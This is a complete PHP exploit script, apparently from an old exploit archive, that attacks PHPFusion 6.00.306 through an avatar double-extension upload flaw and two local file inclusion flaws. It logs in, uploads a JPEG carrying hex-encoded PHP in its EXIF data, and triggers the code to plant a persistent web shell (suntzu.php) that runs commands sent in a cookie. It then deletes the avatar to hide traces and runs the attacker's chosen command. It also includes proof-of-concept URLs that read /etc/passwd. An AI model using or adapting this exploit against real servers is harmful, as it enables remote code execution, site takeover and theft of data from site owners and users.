phpfusion600306.txt

`#!/usr/bin/php -q -d short_open_tag=on  
<?  
echo "PHPFusion <= v6.00.306 avatar mod_mime arbitrary file upload &\r\n";  
echo "local inclusion vulnerabilities\r\n";  
echo "by rgod [email protected]\r\n";  
echo "site: http://retrogod.altervista.org\r\n\r\n";  
  
if ($argc<6) {  
echo "Usage: php ".$argv[0]." host path user pass cmd OPTIONS\r\n";  
echo "host: target server (ip/hostname)\r\n";  
echo "path: path to PHPFusion\r\n";  
echo "cmd: a shell command\r\n";  
echo "user/pass: you need a valid user account to upload an avatar\r\n";  
echo "Options:\r\n";  
echo " -p[port]: specify a port other than 80\r\n";  
echo " -P[ip:port]: specify a proxy\r\n";  
echo "Examples:\r\n";  
echo "php ".$argv[0]." localhost /phpfusion/ your_username password cat ./../../config.php\r\n";  
echo "php ".$argv[0]." localhost /phpfusion/ your_username password ls -la -p81\r\n";  
echo "php ".$argv[0]." localhost / your_username password ls -la -P1.1.1.1:80\r\n\r\n";  
die;  
}  
  
/* explaination:  
  
software site: http://www.php-fusion.co.uk/  
  
description: "a light-weight open-source content management system (CMS)  
written in PHP. It utilises a mySQL database to store your site content and  
includes a simple, comprehensive adminstration system."  
  
tested versions: PHPFusion v6.00.306  
PHPFusion v6.00.207  
PHPFusion v6.00.110  
  
  
i) vulnerable code in includes/update_profile_include.php at lines 69-90:  
  
...  
$newavatar = $_FILES['user_avatar'];  
if ($userdata['user_avatar'] == "" && !empty($newavatar['name']) && is_uploaded_file($newavatar['tmp_name'])) {  
if (preg_match("/^[-0-9A-Z_\.\[\]]+$/i", $newavatar['name']) && $newavatar['size'] <= 30720) {  
$avatarext = strrchr($newavatar['name'],".");  
if (eregi(".gif", $avatarext) || eregi(".jpg", $avatarext) || eregi(".png", $avatarext)) {  
$avatarname = substr($newavatar['name'], 0, strrpos($newavatar['name'], "."));  
$avatarname = $avatarname."[".$userdata['user_id']."]".$avatarext;  
$set_avatar = "user_avatar='$avatarname', ";  
move_uploaded_file($newavatar['tmp_name'], IMAGES."avatars/".$avatarname);  
chmod(IMAGES."avatars/".$avatarname,0644);  
if ($size = @getimagesize(IMAGES."avatars/".$avatarname)) {  
if ($size['0'] > 100 || $size['1'] > 100) {  
unlink(IMAGES."avatars/".$avatarname);  
$set_avatar = "";  
}  
} else {  
unlink(IMAGES."avatars/".$avatarname);  
$set_avatar = "";  
}  
}  
}  
}  
...  
  
A remote user can upload a malicious avatar with multiple extensions,  
(ex.: .php.php.gif-fakechars-) and with php code inside as EXIF metadata  
content.  
It seems that Apache mod_mime module considers double-extension files like  
file.php.gif[somefakechars] to be valid PHP files and runs the arbitrary  
code that has been uploaded. Actually I can't say which Apache versions, this  
was tested against Apache/1.3.27 with PHP/4.3.3  
  
A note: file is renamed like this  
.php.php[user_id].gif-fakechars-  
  
ii) vulnerable code in infusions/last_seen_users_panel/last_seen_users_panel.php  
at lines 12-16:  
  
...  
if (file_exists(INFUSIONS."last_seen_users_panel/locale/".$settings['locale'].".php")) {  
include INFUSIONS."last_seen_users_panel/locale/".$settings['locale'].".php";  
} else {  
include INFUSIONS."last_seen_users_panel/locale/English.php";  
}  
...  
  
$settings['locale'] var is not properly sanitized before to be used to  
include files so, if register_globals=on & magic_quotes_gpc=Off,  
you can include local resources, poc:  
  
http://[target]/[path]infusions/last_seen_users_panel/last_seen_users_panel.php?settings[locale]=../../../../../../../../../etc/passw%00  
http://[target]/[path]infusions/last_seen_users_panel/last_seen_users_panel.php?cmd=ls%20-la&settings[locale]=../../../../images/avatars/suntzu[1].jpg%00  
  
A note: if INFUSIONS constant is not defined, PHP will assume it as it is,  
as "INFUSIONS" string. On some system , no matters if "INFUSIONSlast_seen_users_panel/locale/........"  
path does not exist, you will go up from the non-existent dir of exactly four  
dirs to include the malicious avatar.  
This works against on 6.00.306  
  
iii) vulnerable code in setup.php at lines 14-15:  
  
...  
$localeset = (isset($_GET['localeset']) ? $_GET['localeset'] : "English");  
include "locale/".$localeset."/setup.php";  
...  
  
if this script is not deleted after installation, if magic_quotes_gpc=Off,  
you can include files from locale resources, poc:  
  
http://[target]/[path]/setup.php?localeset=../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/setup.php?cmd=ls%20-la&localeset=../images/avatars/suntzu[1].jpg%00  
  
this tool tries to exploit all theese vulnerabilities, you need a valid user  
account to upload avatars  
*/  
  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout",5);  
  
function quick_dump($string)  
{  
$result='';$exa='';$cont=0;  
for ($i=0; $i<=strlen($string)-1; $i++)  
{  
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))  
{$result.=" .";}  
else  
{$result.=" ".$string[$i];}  
if (strlen(dechex(ord($string[$i])))==2)  
{$exa.=" ".dechex(ord($string[$i]));}  
else  
{$exa.=" 0".dechex(ord($string[$i]));}  
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}  
}  
return $exa."\r\n".$result;  
}  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
function sendpacketii($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex;  
if ($proxy=='') {  
$ock=fsockopen(gethostbyname($host),$port);  
if (!$ock) {  
echo 'No response from '.$host.':'.$port; die;  
}  
}  
else {  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {  
echo 'Not a valid proxy...';die;  
}  
$parts=explode(':',$proxy);  
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) {  
echo 'No response from proxy...';die;  
}  
}  
fputs($ock,$packet);  
if ($proxy=='') {  
$html='';  
while (!feof($ock)) {  
$html.=fgets($ock);  
}  
}  
else {  
$html='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {  
$html.=fread($ock,1);  
}  
}  
fclose($ock);  
#debug  
#echo "\r\n".$html;  
  
}  
function sendpacketiii($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex;  
if ($proxy=='') {  
$ock=fsockopen(gethostbyname($host),$port);  
if (!$ock) {  
echo 'No response from '.$host.':'.$port; die;  
}  
}  
else {  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {  
echo 'Not a valid proxy...';die;  
}  
$parts=explode(':',$proxy);  
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) {  
echo 'No response from proxy...';die;  
}  
}  
fputs($ock,$packet);  
fclose($ock);  
#debug  
#echo "\r\n".$html;  
  
}  
$host=$argv[1];  
$path=$argv[2];  
$username=$argv[3];  
$pass=$argv[4];  
$cmd="";$port=80;$proxy="";  
for ($i=5; $i<=$argc-1; $i++){  
$temp=$argv[$i][0].$argv[$i][1];  
if (($temp<>"-p") and ($temp<>"-P"))  
{$cmd.=" ".$argv[$i];}  
if ($temp=="-p")  
{  
$port=str_replace("-p","",$argv[$i]);  
}  
if ($temp=="-P")  
{  
$proxy=str_replace("-P","",$argv[$i]);  
}  
}  
$cmd=urlencode($cmd);  
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}  
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  
  
$mypaths= array (  
'images/avatars/',  
'',  
'infusions/last_seen_users_panel/'  
);  
  
echo "step 0 -> Check if suntzu.php is already installed...\r\n";  
for ($i=0; $i<=count($mypaths)-1; $i++)  
{  
$packet ="GET ".$p.$mypaths[$i]."suntzu.php HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Cookie: cmd=".$cmd.";\r\n";  
$packet.="Connection: Close\r\n\r\n";  
$packet.=$data;  
sendpacketii($packet);  
if (strstr($html,"56789"))  
{  
echo "Exploit succeeded...";  
$temp=explode("56789",$html);  
die("\r\n".$temp[1]."\r\n");  
}  
}  
  
echo "step 1 -> login...\r\n";  
$data ="user_name=".urlencode(trim($username));  
$data.="&user_pass=".urlencode(trim($pass));  
$data.="&login=Login";  
$packet="POST ".$p."news.php HTTP/1.0\r\n";  
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";  
$packet.="Referer: http://".$host.$path."news.php\r\n";  
$packet.="Accept-Language: en\r\n";  
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";  
$packet.="Accept-Encoding: gzip, deflate\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Connection: Keep-Alive\r\n";  
$packet.="Cache-Control: no-cache\r\n";  
$packet.="Cookie: fusion_visited=yes; PHPSESSID=44ab49664b56b97036425427b1ffb8cf\r\n\r\n";  
$packet.=$data;  
sendpacketii($packet);  
$temp=explode("Set-Cookie: ",$html);  
$temp2=explode(' ',$temp[1]);  
$cookie=$temp2[0];  
echo 'Your cookie: '.$cookie."\r\n";  
$temp=explode("fusion_user=",$cookie);  
$temp2=explode(".",$temp[1]);  
$user_id=trim($temp2[0]);  
echo 'Your user id: '.$user_id."\r\n";  
  
echo "step 2 -> upload a malicious avatar with php code inside...\r\n";  
$avatar=".php.php.gif-fakechars-";  
$shell=  
chr(0xff).chr(0xd8).chr(0xff).chr(0xfe).chr(0x01).chr(0x07).chr(0x3c).chr(0x3f).  
chr(0x70).chr(0x68).chr(0x70).chr(0x0d).chr(0x0a).chr(0x24).chr(0x66).chr(0x70).  
chr(0x3d).chr(0x66).chr(0x6f).chr(0x70).chr(0x65).chr(0x6e).chr(0x28).chr(0x22).  
chr(0x73).chr(0x75).chr(0x6e).chr(0x74).chr(0x7a).chr(0x75).chr(0x2e).chr(0x70).  
chr(0x68).chr(0x70).chr(0x22).chr(0x2c).chr(0x22).chr(0x77).chr(0x22).chr(0x29).  
chr(0x3b).chr(0x0d).chr(0x0a).chr(0x66).chr(0x70).chr(0x75).chr(0x74).chr(0x73).  
chr(0x28).chr(0x24).chr(0x66).chr(0x70).chr(0x2c).chr(0x22).chr(0x3c).chr(0x3f).  
chr(0x70).chr(0x68).chr(0x70).chr(0x20).chr(0x65).chr(0x72).chr(0x72).chr(0x6f).  
chr(0x72).chr(0x5f).chr(0x72).chr(0x65).chr(0x70).chr(0x6f).chr(0x72).chr(0x74).  
chr(0x69).chr(0x6e).chr(0x67).chr(0x28).chr(0x30).chr(0x29).chr(0x3b).chr(0x73).  
chr(0x65).chr(0x74).chr(0x5f).chr(0x74).chr(0x69).chr(0x6d).chr(0x65).chr(0x5f).  
chr(0x6c).chr(0x69).chr(0x6d).chr(0x69).chr(0x74).chr(0x28).chr(0x30).chr(0x29).  
chr(0x3b).chr(0x69).chr(0x66).chr(0x20).chr(0x28).chr(0x67).chr(0x65).chr(0x74).  
chr(0x5f).chr(0x6d).chr(0x61).chr(0x67).chr(0x69).chr(0x63).chr(0x5f).chr(0x71).  
chr(0x75).chr(0x6f).chr(0x74).chr(0x65).chr(0x73).chr(0x5f).chr(0x67).chr(0x70).  
chr(0x63).chr(0x28).chr(0x29).chr(0x29).chr(0x20).chr(0x7b).chr(0x5c).chr(0x24).  
chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).chr(0x4b).chr(0x49).chr(0x45).chr(0x5b).  
chr(0x63).chr(0x6d).chr(0x64).chr(0x5d).chr(0x3d).chr(0x73).chr(0x74).chr(0x72).  
chr(0x69).chr(0x70).chr(0x73).chr(0x6c).chr(0x61).chr(0x73).chr(0x68).chr(0x65).  
chr(0x73).chr(0x28).chr(0x5c).chr(0x24).chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).  
chr(0x4b).chr(0x49).chr(0x45).chr(0x5b).chr(0x63).chr(0x6d).chr(0x64).chr(0x5d).  
chr(0x29).chr(0x3b).chr(0x7d).chr(0x65).chr(0x63).chr(0x68).chr(0x6f).chr(0x20).  
chr(0x35).chr(0x36).chr(0x37).chr(0x38).chr(0x39).chr(0x3b).chr(0x70).chr(0x61).  
chr(0x73).chr(0x73).chr(0x74).chr(0x68).chr(0x72).chr(0x75).chr(0x28).chr(0x5c).  
chr(0x24).chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).chr(0x4b).chr(0x49).chr(0x45).  
chr(0x5b).chr(0x63).chr(0x6d).chr(0x64).chr(0x5d).chr(0x29).chr(0x3b).chr(0x65).  
chr(0x63).chr(0x68).chr(0x6f).chr(0x20).chr(0x35).chr(0x36).chr(0x37).chr(0x38).  
chr(0x39).chr(0x3b).chr(0x3f).chr(0x3e).chr(0x22).chr(0x29).chr(0x3b).chr(0x0d).  
chr(0x0a).chr(0x66).chr(0x63).chr(0x6c).chr(0x6f).chr(0x73).chr(0x65).chr(0x28).  
chr(0x24).chr(0x66).chr(0x70).chr(0x29).chr(0x3b).chr(0x0d).chr(0x0a).chr(0x63).  
chr(0x68).chr(0x6d).chr(0x6f).chr(0x64).chr(0x28).chr(0x22).chr(0x73).chr(0x75).  
chr(0x6e).chr(0x74).chr(0x7a).chr(0x75).chr(0x2e).chr(0x70).chr(0x68).chr(0x70).  
chr(0x22).chr(0x2c).chr(0x37).chr(0x37).chr(0x37).chr(0x29).chr(0x3b).chr(0x0d).  
chr(0x0a).chr(0x3f).chr(0x3e).chr(0xff).chr(0xe0).chr(0x00).chr(0x10).chr(0x4a).  
chr(0x46).chr(0x49).chr(0x46).chr(0x00).chr(0x01).chr(0x01).chr(0x01).chr(0x00).  
chr(0x48).chr(0x00).chr(0x48).chr(0x00).chr(0x00).chr(0xff).chr(0xdb).chr(0x00).  
chr(0x43).chr(0x00).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0xff).chr(0xdb).chr(0x00).chr(0x43).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0xff).  
chr(0xc0).chr(0x00).chr(0x11).chr(0x08).chr(0x00).chr(0x01).chr(0x00).chr(0x01).  
chr(0x03).chr(0x01).chr(0x11).chr(0x00).chr(0x02).chr(0x11).chr(0x01).chr(0x03).  
chr(0x11).chr(0x01).chr(0xff).chr(0xc4).chr(0x00).chr(0x14).chr(0x00).chr(0x01).  
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).  
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x08).  
chr(0xff).chr(0xc4).chr(0x00).chr(0x14).chr(0x10).chr(0x01).chr(0x00).chr(0x00).  
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).  
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0xff).chr(0xc4).  
chr(0x00).chr(0x15).chr(0x01).chr(0x01).chr(0x01).chr(0x00).chr(0x00).chr(0x00).  
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).  
chr(0x00).chr(0x00).chr(0x00).chr(0x08).chr(0x09).chr(0xff).chr(0xc4).chr(0x00).  
chr(0x14).chr(0x11).chr(0x01).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).  
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).  
chr(0x00).chr(0x00).chr(0x00).chr(0xff).chr(0xda).chr(0x00).chr(0x0c).chr(0x03).  
chr(0x01).chr(0x00).chr(0x02).chr(0x11).chr(0x03).chr(0x11).chr(0x00).chr(0x3f).  
chr(0x00).chr(0x23).chr(0x94).chr(0x09).chr(0x2e).chr(0xff).chr(0xd9).chr(0x00);  
  
/*  
this image has this code inside as EXIF metadata content  
<?php  
$fp=fopen("suntzu.php","w");  
fputs($fp,"<?php error_reporting(0);set_time_limit(0);if (get_magic_quotes_gpc()) {\$_COOKIE[cmd]=stripslashes(\$_COOKIE[cmd]);}echo 56789;passthru(\$_COOKIE[cmd]);echo 56789;?>");  
fclose($fp);  
chmod("suntzu.php",777);  
?>  
*/  
  
$data='-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="user_name"  
  
'.$username.'  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="user_newpassword"  
  
  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="user_newpassword2"  
  
  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="user_email"  
  
[email protected]  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="user_hide_email"  
  
1  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="user_location"  
  
  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="user_month"  
  
--  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="user_day"  
  
--  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="user_year"  
  
----  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="user_aim"  
  
  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="user_icq"  
  
  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="user_msn"  
  
  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="user_yahoo"  
  
  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="user_web"  
  
  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="user_theme"  
  
Default  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="user_offset"  
  
  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="user_avatar"; filename="'.$avatar.'"  
Content-Type: application/octet-stream  
  
'.$shell.'  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="user_sig"  
  
  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="user_hash"  
  
'.md5($pass).'  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="update_profile"  
  
Update Profile  
-----------------------------7d6ee3a7074a--  
';  
  
  
$packet ="POST ".$p."edit_profile.php? HTTP/1.0\r\n";  
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";  
$packet.="Referer: http://".$host.$path."edit_profile.php\r\n";  
$packet.="Accept-Language: en\r\n";  
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6ee3a7074a\r\n";  
$packet.="Accept-Encoding: gzip, deflate\r\n";  
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Connection: Keep-Alive\r\n";  
$packet.="Cookie: fusion_visited=yes; ".$cookie." PHPSESSID=44ab49664b56b97036425427b1ffb8cf\r\n";  
$packet.="Cache-Control: no-cache\r\n\r\n";  
$packet.=$data;  
sendpacketiii($packet);  
  
echo "step 3 -> try to launch code inside image before has chmod()...\r\n";  
for ($i=0; $i<=9; $i++)  
{  
$packet ="GET ".$p."images/avatars/.php.php[".$user_id."].gif-fakechars- HTTP/1.1\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
$packet.=$data;  
sendpacketii($packet);  
}  
  
echo "step 3b -> try to include through last_seen_users_panel.php\r\n";  
//works with register_globals=on & magic_quotes_gpc=off  
$xpl=urlencode("../../../../images/avatars/.php.php[".$user_id."].gif-fakechars-".chr(0x00));  
$packet ="GET ".$p."infusions/last_seen_users_panel/last_seen_users_panel.php?settings[locale]=$xpl HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
$packet.=$data;  
sendpacketii($packet);  
  
echo "step 3c -> try to include through setup.php script\r\n";  
//works with magic_quotes_gpc=off  
$xpl=urlencode("../images/avatars/.php.php[".$user_id."].gif-fakechars-".chr(0x00));  
$packet ="GET ".$p."setup.php?localeset=$xpl HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
$packet.=$data;  
sendpacketii($packet);  
  
echo "step 4 -> delete avatar...\r\n";  
$data='-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="user_name"  
  
'.$username.'  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="user_newpassword"  
  
  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="user_newpassword2"  
  
  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="user_email"  
  
[email protected]  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="user_hide_email"  
  
1  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="user_location"  
  
  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="user_month"  
  
--  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="user_day"  
  
--  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="user_year"  
  
----  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="user_aim"  
  
  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="user_icq"  
  
  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="user_msn"  
  
  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="user_yahoo"  
  
  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="user_web"  
  
  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="user_theme"  
  
Default  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="user_offset"  
  
  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="user_avatar"; filename="whatever"  
Content-Type: application/octet-stream  
  
what  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="user_sig"  
  
  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="user_hash"  
  
'.md5($pass).'  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="update_profile"  
  
Update Profile  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="del_avatar"  
  
y  
-----------------------------7d6ee3a7074a--  
';  
  
$packet ="POST ".$p."edit_profile.php HTTP/1.0\r\n";  
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";  
$packet.="Referer: http://".$host.$path."edit_profile.php\r\n";  
$packet.="Accept-Language: en\r\n";  
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6ee3a7074a\r\n";  
$packet.="Accept-Encoding: gzip, deflate\r\n";  
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Connection: Keep-Alive\r\n";  
$packet.="Cookie: fusion_visited=yes; ".$cookie." PHPSESSID=44ab49664b56b97036425427b1ffb8cf\r\n";  
$packet.="Cache-Control: no-cache\r\n\r\n";  
$packet.=$data;  
sendpacketii($packet);  
  
echo "step 5 -> launch commands...\r\n";  
for ($i=0; $i<=count($mypaths)-1; $i++)  
{  
$packet ="GET ".$p.$mypaths[$i]."suntzu.php HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Cookie: cmd=".$cmd.";\r\n";  
$packet.="Connection: Close\r\n\r\n";  
$packet.=$data;  
sendpacketii($packet);  
if (strstr($html,"56789"))  
{  
echo "Exploit succeeded...";  
$temp=explode("56789",$html);  
die("\r\n".$temp[1]."\r\n");  
}  
}  
//if you are here...  
echo "\r\nExploit failed...";  
?>  
  
  
`